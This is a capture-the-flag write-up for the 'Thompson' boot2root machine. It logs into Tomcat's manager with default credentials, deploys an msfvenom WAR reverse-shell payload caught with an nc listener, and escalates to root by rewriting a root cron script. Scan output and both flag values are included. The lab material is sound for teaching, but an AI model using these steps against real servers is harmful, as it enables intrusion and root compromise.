Thompson

Thompson

boot2root machine for FIT and bsides guatemala CTF

writeup

----------user-flag----------

--ran nmap scan and found open ports on 22, 8009, and 8080
--port 8080 contains a default Apache Tomcat page
--ran gobuster scan on port 8080 and got:
/docs (Status: 302)
/examples (Status: 302)
/favicon.ico (Status: 200)
/host-manager (Status: 302)
/manager (Status: 302)

--logged into /manager/ page with credentials tomcat:s3cret that I found when giving the wrong creds, and a default error page comes up
--noticed a section to upload a WAR file, so I found a website explaining how to create a WAR payload https://-netsec.ws/?p=331
--ran command msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.2.27.69 LPORT=4444 -f war > shell.war to generate the payload
--uploaded payload to /manager/html page in section labeled 'WAR file to deploy'
--started a listener with nc -lvnp 4444
--deployed payload and got a rteverse shell on machine
--found user.txt in /home/jack directory
--ran cd /home/jack and then cat user.txt and got flag:
39400c90bc683a41a8935e4719f181bf

----------root-flag----------

--ran python -c "import pty; pty.spawn('/bin/bash')" to get a standard shell
--noticed a file called id.sh in /home/jack directory that inputs data from test.txt file, but it runs as root
--so we can input commands into the file and they will run as root
--ran echo 'cat /root/root.txt >> test.txt' >> /home/jack/id.sh' and nothing happens at first
--I realized id.sh was running as a cron job by running cat /etc/crontab
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

m h dom mon dow user command
17 *   * * *   root   cd / && run-parts --report /etc/cron.hourly
25 6   * * *   root   test -x /usr/sbin/anacron || (cd / && run-parts --report /etc/cron.daily)
47 6   * * 7   root   test -x /usr/sbin/anacron || (cd / && run-parts --report /etc/cron.weekly)
52 6   1 * *   root   test -x /usr/sbin/anacron || (cd / && run-parts --report /etc/cron.monthly)
* *   * * *   root   cd /home/jack && bash id.sh

--we must insert a privesc script into id.sh with command echo '#!/bin/bash' > id.sh
--then run echo 'cat /root/root.txt >> test.txt' >> /home/jack/id.sh and wait for cronjob to run
--then get flag by running cat test.txt:
d89d5391984c0450a95497153ae7ca3a

scans

----------nmap-scan----------

```
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 fc:05:24:81:98:7e:b8:db:05:92:a6:e7:8e:b0:21:11 (RSA)
|   256 60:c8:40:ab:b0:09:84:3d:46:64:61:13:fa:bc:1f:be (ECDSA)
|_  256 b5:52:7e:9c:01:9b:98:0c:73:59:20:35:ee:23:f1:a5 (ED25519)

8009/tcp open  ajp13   Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request

8080/tcp open  http    Apache Tomcat 8.5.5
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/8.5.5

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

----------gobuster-scan----------

```
sudo gobuster dir -w common-dirs.txt -u http://<IP-Address>:8080
/docs (Status: 302)
/examples (Status: 302)
/favicon.ico (Status: 200)
/host-manager (Status: 302)
/manager (Status: 302)
```

[Task 1] Thompson

read user.txt and root.txt

#1
user.txt

39400c90bc683a41a8935e4719f181bf

#2
root.txt

d89d5391984c0450a95497153ae7ca3a